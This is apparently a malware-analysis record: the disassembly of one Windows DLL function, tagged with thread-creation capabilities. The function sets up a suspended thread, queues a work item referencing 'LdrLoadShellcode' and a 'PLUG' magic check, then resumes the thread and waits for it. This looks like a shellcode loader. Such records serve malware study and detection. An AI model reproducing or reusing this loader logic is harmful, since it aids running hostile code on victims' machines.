Function at 0x180007d70
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x70
mov rbx, qword [0x180029098]
xor r12d, r12d
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
test rbx, rbx
jne 0x180007ddd
lea ecx, [rbx + 0x30]
call qword [sym.imp.msvcrt.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__]
mov rbx, rax
test rax, rax
je 0x180007dd3
lea edx, [r12 + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rax + 0x18], r12
mov qword [rax + 0x28], r12
mov qword [rax + 0x20], r12
mov dword [rax + 0x10], r12d
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx], rax
jmp 0x180007dd6
mov rbx, r12
mov qword [0x180029098], rbx
mov rcx, qword [rbx + 8]
cmp dword [rcx], 0x504c5547
je 0x180007df3
mov eax, reloc.ODBC32.dll_SQLFetch
jmp 0x180007f63
mov rbx, qword [0x1800290b0]
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x40], r12d
mov qword [rsp + 0x48], rsi
mov dword [rsp + 0x50], edi
mov rax, qword [rcx + 0x28]
mov qword [rsp + 0x58], rax
mov eax, dword [rcx + 0x30]
mov dword [rsp + 0x60], eax
test rbx, rbx
jne 0x180007e57
lea ecx, [rbx + 0x40]
call qword [sym.imp.msvcrt.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__]
mov rbx, rax
test rax, rax
je 0x180007e4d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea r11, [rbx + 0x28]
mov qword [r11], r11
mov qword [r11 + 8], r11
mov dword [r11 + 0x10], r12d
jmp 0x180007e50
mov rbx, r12
mov qword [0x1800290b0], rbx
mov ecx, 0x38
call qword [sym.imp.msvcrt.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__]
mov rdi, rax
test rax, rax
jne 0x180007e76
mov ebx, 8
mov eax, ebx
jmp 0x180007f63
lea rax, [rsp + 0xa8]
lea r8, [0x18001c790]
mov r9, rdi
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x180007ec3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.msvcrt.dll_void___cdecl_operator_delete_void____ptr64_]
test ebx, ebx
je 0x180007f29
mov eax, ebx
jmp 0x180007f63
mov qword [rdi + 0x18], rbx
mov eax, dword [rsp + 0xa8]
mov rcx, rbx
mov dword [rdi + 0x10], eax
lea rax, str.LdrLoadShellcode
mov qword [rdi + 0x30], rax
lea rax, [0x180008370]
mov qword [rdi + 0x20], rax
lea rax, [rsp + 0x38]
mov qword [rdi + 0x28], rax
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea r11, [rbx + 0x28]
mov qword [rdi], r11
mov rax, qword [r11 + 8]
mov rcx, rbx
mov qword [rdi + 8], rax
mov rax, qword [r11 + 8]
mov qword [rax], rdi
mov qword [r11 + 8], rdi
inc dword [r11 + 0x10]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
jne 0x180007f4f
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180007f53
mov eax, dword [rsp + 0x30]
movsxd rcx, eax
cmp eax, 0x10000
mov qword [rbp], rcx
cmovge eax, r12d
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret